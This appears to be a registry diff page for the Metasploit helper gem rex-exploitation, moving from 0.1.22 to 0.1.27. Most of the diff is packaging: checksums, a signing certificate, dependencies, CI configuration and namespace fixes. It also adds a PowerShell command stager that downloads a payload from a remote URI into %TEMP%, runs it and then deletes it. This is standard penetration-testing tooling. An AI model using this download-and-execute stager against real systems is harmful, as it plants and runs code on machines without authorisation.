rex-exploitation 0.1.22 → 0.1.27

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 7d39a57964e969c40a673ee4e9e57dae7608b2266cec6455eb63b11a89432ea2
4
- data.tar.gz: d7adb01230ea065c4d59e0ee2b88b1238ab45a191d266c6d38f49cef7f819660
3
+ metadata.gz: 6af3ee2c6b8d344941a8012d9db6e3eecb171fe86f455cf5691227903d829d36
4
+ data.tar.gz: 461a8850613ec43afae0ebc895d4abae0dad33feb93cd53bf5058a949d3c621d
5
5
  SHA512:
6
- metadata.gz: 6ea179c04d3e6f8222a7d5e994822a2c564dc1ade7a9d3c4d1e863eb8e19e9242fbecb24ee241957714c41426e30cacef1c7d71233fe098ea43291053f04e8f2
7
- data.tar.gz: 93a10f5c2923faa39f1d01238069893c39964f1f718f9e3abdac594d72e4eba3b6a5a73b519f87a74ea2e779bde838621bf2c618ae17cc8c6b3d1d58bc9f8d1b
6
+ metadata.gz: 6e52334ebb63559fde83d3251f430ede4a5f301514f2be75653043c221ed57e0d6c0a34f17b950bc0a6b2f007b380dc21aff6e204cbce009dc5e4f6281913619
7
+ data.tar.gz: 6f1ee703a95a8ad06f6e28ef208f6562e7231ec5ee973d9285bbbd36d12aedd2ce2cedaf846bdb87a2bb997b760f3e7a575a74e034dea0ffaf0946037856f247
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -0,0 +1,56 @@
1
+ name: Verify
2
+
3
+ on:
4
+ push:
5
+ branches:
6
+ - '*'
7
+ pull_request:
8
+ branches:
9
+ - '*'
10
+
11
+ jobs:
12
+ test:
13
+ runs-on: ubuntu-16.04
14
+ timeout-minutes: 40
15
+
16
+ strategy:
17
+ fail-fast: true
18
+ matrix:
19
+ ruby:
20
+ - 2.6
21
+ - 2.7
22
+ - 3.0
23
+ test_cmd:
24
+ - bundle exec rspec
25
+
26
+ env:
27
+ RAILS_ENV: test
28
+
29
+ name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
30
+ steps:
31
+ - name: Checkout code
32
+ uses: actions/checkout@v2
33
+
34
+ - uses: actions/setup-ruby@v1
35
+ with:
36
+ ruby-version: ${{ matrix.ruby }}
37
+
38
+ - name: Setup bundler
39
+ run: |
40
+ gem install bundler
41
+ - uses: actions/cache@v2
42
+ with:
43
+ path: vendor/bundle
44
+ key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
45
+ restore-keys: |
46
+ ${{ runner.os }}-gems-
47
+ - name: Bundle install
48
+ run: |
49
+ bundle config path vendor/bundle
50
+ bundle install --jobs 4 --retry 3
51
+ - name: ${{ matrix.test_cmd }}
52
+ run: |
53
+ echo "${CMD}"
54
+ bash -c "${CMD}"
55
+ env:
56
+ CMD: ${{ matrix.test_cmd }}
@@ -12,4 +12,5 @@ require 'rex/exploitation/cmdstager/printf'
12
12
  require 'rex/exploitation/cmdstager/wget'
13
13
  require 'rex/exploitation/cmdstager/curl'
14
14
  require 'rex/exploitation/cmdstager/fetch'
15
- require 'rex/exploitation/cmdstager/lwp-request'
15
+ require 'rex/exploitation/cmdstager/lwprequest'
16
+ require 'rex/exploitation/cmdstager/psh_invokewebrequest'
@@ -0,0 +1,46 @@
1
+ # -*- coding: binary -*-
2
+
3
+ class Rex::Exploitation::CmdStagerPSHInvokeWebRequest < Rex::Exploitation::CmdStagerBase
4
+
5
+ def http?
6
+ true
7
+ end
8
+
9
+ def user_agent
10
+ /WindowsPowerShell/
11
+ end
12
+
13
+ def generate(opts = {})
14
+ if opts[:payload_uri].nil?
15
+ raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
16
+ end
17
+
18
+ opts[:temp] ||= '%TEMP%'
19
+ opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
20
+ @payload_path = "#{opts[:temp]}\\#{opts[:file]}"
21
+
22
+ super
23
+ end
24
+
25
+ def generate_cmds_payload(opts)
26
+ # NOTE: This requires PowerShell >= 3.0
27
+ cmd = "Invoke-WebRequest -OutFile #{@payload_path} #{opts[:payload_uri]}"
28
+
29
+ # TODO: Craft a better command line, probably with encoding
30
+ ["powershell.exe -c #{cmd}"]
31
+ end
32
+
33
+ def generate_cmds_decoder(opts)
34
+ cmds = []
35
+
36
+ cmds << @payload_path
37
+ cmds << "del #{@payload_path}" unless opts[:nodelete]
38
+
39
+ cmds
40
+ end
41
+
42
+ def cmd_concat_operator
43
+ ' & '
44
+ end
45
+
46
+ end
@@ -36,7 +36,7 @@ class Egghunter
36
36
  Alias = "win"
37
37
 
38
38
  module X86
39
- Alias = ARCH_X86
39
+ Alias = Rex::Arch::ARCH_X86
40
40
 
41
41
  #
42
42
  # The egg hunter stub for win/x86.
@@ -250,7 +250,7 @@ EOS
250
250
  Alias = "linux"
251
251
 
252
252
  module X86
253
- Alias = ARCH_X86
253
+ Alias = Rex::Arch::ARCH_X86
254
254
 
255
255
  #
256
256
  # The egg hunter stub for linux/x86.
@@ -25,7 +25,7 @@ class Omelet
25
25
  Alias = "win"
26
26
 
27
27
  module X86
28
- Alias = ARCH_X86
28
+ Alias = Rex::Arch::ARCH_X86
29
29
 
30
30
  #
31
31
  # The hunter stub for win/x86.
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.22"
3
+ VERSION = "0.1.27"
4
4
  end
5
5
  end
@@ -6,8 +6,8 @@ require 'rex/exploitation/version'
6
6
  Gem::Specification.new do |spec|
7
7
  spec.name = "rex-exploitation"
8
8
  spec.version = Rex::Exploitation::VERSION
9
- spec.authors = ["David Maloney"]
10
- spec.email = ["DMaloney@rapid7.com"]
9
+ spec.authors = ['Metasploit Hackers']
10
+ spec.email = ['msfdev@metasploit.com']
11
11
 
12
12
  spec.summary = %q{Ruby Exploitation(Rex) library for various exploitation helpers}
13
13
  spec.description = %q{This gem contains various helper mechanisms for creating exploits.
@@ -24,10 +24,10 @@ Gem::Specification.new do |spec|
24
24
 
25
25
  spec.required_ruby_version = '>= 2.2.0'
26
26
 
27
- spec.add_development_dependency "bundler", "~> 1.13"
28
- spec.add_development_dependency "rake", "~> 10.0"
29
- spec.add_development_dependency "rspec", "~> 3.0"
27
+ spec.add_development_dependency "rake"
28
+ spec.add_development_dependency "rspec"
30
29
 
30
+ spec.add_runtime_dependency 'rexml'
31
31
  spec.add_runtime_dependency 'rex-text'
32
32
  spec.add_runtime_dependency 'rex-arch'
33
33
  spec.add_runtime_dependency 'rex-encoder'
metadata CHANGED
@@ -1,10 +1,10 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.22
4
+ version: 0.1.27
5
5
  platform: ruby
6
6
  authors:
7
- - David Maloney
7
+ - Metasploit Hackers
8
8
  autorequire:
9
9
  bindir: exe
10
10
  cert_chain:
@@ -64,20 +64,20 @@ cert_chain:
64
64
  -----END CERTIFICATE-----
65
65
  - |
66
66
  -----BEGIN CERTIFICATE-----
67
- MIIFIzCCBAugAwIBAgIQDX9ZkVJ2eNVTlibR5ALyJTANBgkqhkiG9w0BAQsFADBy
67
+ MIIFIzCCBAugAwIBAgIQCMePMbkSxvnPeJhYXIfaxzANBgkqhkiG9w0BAQsFADBy
68
68
  MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
69
69
  d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEyIEFzc3VyZWQg
70
- SUQgQ29kZSBTaWduaW5nIENBMB4XDTE5MTAxNjAwMDAwMFoXDTIwMTAxOTEyMDAw
70
+ SUQgQ29kZSBTaWduaW5nIENBMB4XDTIwMTAwNzAwMDAwMFoXDTIzMTEwNjEyMDAw
71
71
  MFowYDELMAkGA1UEBhMCVVMxFjAUBgNVBAgTDU1hc3NhY2h1c2V0dHMxDzANBgNV
72
72
  BAcTBkJvc3RvbjETMBEGA1UEChMKUmFwaWQ3IExMQzETMBEGA1UEAxMKUmFwaWQ3
73
- IExMQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANHnKegPAghKuZk4
74
- Gy1jKaZEXbWc4fxioTemv/F1yIYzAjCWP65qjKtyeeFDe4/kJzG9nseF9oa93YBf
75
- 1nyEqxNSZMw/sCAZ87lOl713dRi73uxOoszy2PT5xEB+Q5R6cbzExkWG2zrLdXDr
76
- so0Bd6VHw+IsAoBBkAq5FrZOJQYGn5VY20xw/2DqtCeoW4QDWyqTnbJmwO9tZrfr
77
- 3Le2crfk2eOgafaPNhLon5uuIKCZsk2YkUSNURSS3M7gosMwU9Gg4JTBi7X5+oww
78
- rY43dJT28YklxmNVu8o5kJxW4dqLKJLOIgSXZ63nceT/EaCSg7DcofHNcUzejFwb
79
- M7Zbb2kCAwEAAaOCAcUwggHBMB8GA1UdIwQYMBaAFFrEuXsqCqOl6nEDwGD5LfZl
80
- dQ5YMB0GA1UdDgQWBBR18CAeMsIEU+0pXal/XXw9LCtMADAOBgNVHQ8BAf8EBAMC
73
+ IExMQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALNTz4zvAy7h/vQp
74
+ 4dr1txXHlABAagkwYYwTMCtHs5PXsJITx/5SAjx5swuaLfze5kPBNF2YImvFlOXY
75
+ WaB+0PsOnXnaARsDZU683xFlj8izU6IN6VrAHzDLKFBzruJENrOJD/ikbEtbjO/q
76
+ gFbmS9J9v5ohG/pcRSS0t4ZPAwymf8eCp6QsvOKK/Aymp1RhlRaP8N6N5CIpkhz1
77
+ 9p968iCE+DjOXVYxcWE+jE/7uB1dbgrXykNBujMSS3GULOvVEY28n6NCmrPlo23g
78
+ yRjYVJ2Vy14nBqnxDZ/yRIfWRVjWoT9TsAEbe9gY29oDpSCSs4wSmLQd5zGCpZ9h
79
+ r0HDFB8CAwEAAaOCAcUwggHBMB8GA1UdIwQYMBaAFFrEuXsqCqOl6nEDwGD5LfZl
80
+ dQ5YMB0GA1UdDgQWBBTLBL7DTwumVEKtdCdpHVYMXOFeDzAOBgNVHQ8BAf8EBAMC
81
81
  B4AwEwYDVR0lBAwwCgYIKwYBBQUHAwMwdwYDVR0fBHAwbjA1oDOgMYYvaHR0cDov
82
82
  L2NybDMuZGlnaWNlcnQuY29tL3NoYTItYXNzdXJlZC1jcy1nMS5jcmwwNaAzoDGG
83
83
  L2h0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWFzc3VyZWQtY3MtZzEuY3Js
@@ -86,57 +86,57 @@ cert_chain:
86
86
  JAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBOBggrBgEFBQcw
87
87
  AoZCaHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMkFzc3Vy
88
88
  ZWRJRENvZGVTaWduaW5nQ0EuY3J0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEL
89
- BQADggEBAFpzR9s7lcYKDzSJucOHztEPj+iSIeCzxEw34NTE9M2AfkYIu82c4r2a
90
- bzIGmzZWiCGufjOp0gF5xW6sSSJ9n0TqH0nhHhvjtZQkmkGtOBbN1zeYDFS2ozAp
91
- sljF/g68Y1eYs3NaFf7kQUa6vb6RdjW3J8M9AQ8gthBt7gr/guVxd/gJUYbdDdBX
92
- cWfJJi/X7GVBOBmmvA43qoKideuhOBrVGBHvIF/yO9p23dIiUrGmW9kxXCSxgute
93
- JI/W23RbIRksG2pioMhd4dCXq3FLLlkOV1YfCwWixNB+iIhQPPZVaPNfgPhCn4Dt
94
- DeGjje/qA4fkLtRmOtb9PUBq3ToRDE4=
89
+ BQADggEBAN+GL5/myPWg7oH4mVrG7/OhXF1MoYQF0ddaNiqaweEHMuKJBQCVZRbL
90
+ 37HojoKXXv2yyRJBCeTB+ojrxX+5PdLVZa0ss7toWzJ2A1poPXZ1eZvm5xeFD32z
91
+ YQaTmmNWNI3PCDTyJ2PXUc+bDiNNwcZ7yc5o78UNRvp9Jxghya17Q76c9Ov9wvnv
92
+ dxxQKWGOQy0m4fBrkyjAyH9Djjn81RbQrqYgPuhd5nD0HjN3VUQLhQbIJrk9TVs0
93
+ EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
94
+ 9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
95
95
  -----END CERTIFICATE-----
96
- date: 2020-01-16 00:00:00.000000000 Z
96
+ date: 2021-02-11 00:00:00.000000000 Z
97
97
  dependencies:
98
98
  - !ruby/object:Gem::Dependency
99
- name: bundler
99
+ name: rake
100
100
  requirement: !ruby/object:Gem::Requirement
101
101
  requirements:
102
- - - "~>"
102
+ - - ">="
103
103
  - !ruby/object:Gem::Version
104
- version: '1.13'
104
+ version: '0'
105
105
  type: :development
106
106
  prerelease: false
107
107
  version_requirements: !ruby/object:Gem::Requirement
108
108
  requirements:
109
- - - "~>"
109
+ - - ">="
110
110
  - !ruby/object:Gem::Version
111
- version: '1.13'
111
+ version: '0'
112
112
  - !ruby/object:Gem::Dependency
113
- name: rake
113
+ name: rspec
114
114
  requirement: !ruby/object:Gem::Requirement
115
115
  requirements:
116
- - - "~>"
116
+ - - ">="
117
117
  - !ruby/object:Gem::Version
118
- version: '10.0'
118
+ version: '0'
119
119
  type: :development
120
120
  prerelease: false
121
121
  version_requirements: !ruby/object:Gem::Requirement
122
122
  requirements:
123
- - - "~>"
123
+ - - ">="
124
124
  - !ruby/object:Gem::Version
125
- version: '10.0'
125
+ version: '0'
126
126
  - !ruby/object:Gem::Dependency
127
- name: rspec
127
+ name: rexml
128
128
  requirement: !ruby/object:Gem::Requirement
129
129
  requirements:
130
- - - "~>"
130
+ - - ">="
131
131
  - !ruby/object:Gem::Version
132
- version: '3.0'
133
- type: :development
132
+ version: '0'
133
+ type: :runtime
134
134
  prerelease: false
135
135
  version_requirements: !ruby/object:Gem::Requirement
136
136
  requirements:
137
- - - "~>"
137
+ - - ">="
138
138
  - !ruby/object:Gem::Version
139
- version: '3.0'
139
+ version: '0'
140
140
  - !ruby/object:Gem::Dependency
141
141
  name: rex-text
142
142
  requirement: !ruby/object:Gem::Requirement
@@ -211,14 +211,14 @@ description: |-
211
211
  This gem contains various helper mechanisms for creating exploits.
212
212
  This includes SEH Overwrite helpers, egghunters, command stagers and more.
213
213
  email:
214
- - DMaloney@rapid7.com
214
+ - msfdev@metasploit.com
215
215
  executables: []
216
216
  extensions: []
217
217
  extra_rdoc_files: []
218
218
  files:
219
+ - ".github/workflows/verify.yml"
219
220
  - ".gitignore"
220
221
  - ".rspec"
221
- - ".travis.yml"
222
222
  - CODE_OF_CONDUCT.md
223
223
  - Gemfile
224
224
  - LICENSE
@@ -263,8 +263,9 @@ files:
263
263
  - lib/rex/exploitation/cmdstager/debug_write.rb
264
264
  - lib/rex/exploitation/cmdstager/echo.rb
265
265
  - lib/rex/exploitation/cmdstager/fetch.rb
266
- - lib/rex/exploitation/cmdstager/lwp-request.rb
266
+ - lib/rex/exploitation/cmdstager/lwprequest.rb
267
267
  - lib/rex/exploitation/cmdstager/printf.rb
268
+ - lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
268
269
  - lib/rex/exploitation/cmdstager/tftp.rb
269
270
  - lib/rex/exploitation/cmdstager/vbs.rb
270
271
  - lib/rex/exploitation/cmdstager/wget.rb
metadata.gz.sig CHANGED
Binary file
data/.travis.yml DELETED
@@ -1,6 +0,0 @@
1
- sudo: false
2
- group: stable
3
- cache: bundler
4
- language: ruby
5
- rvm:
6
- - 2.3.3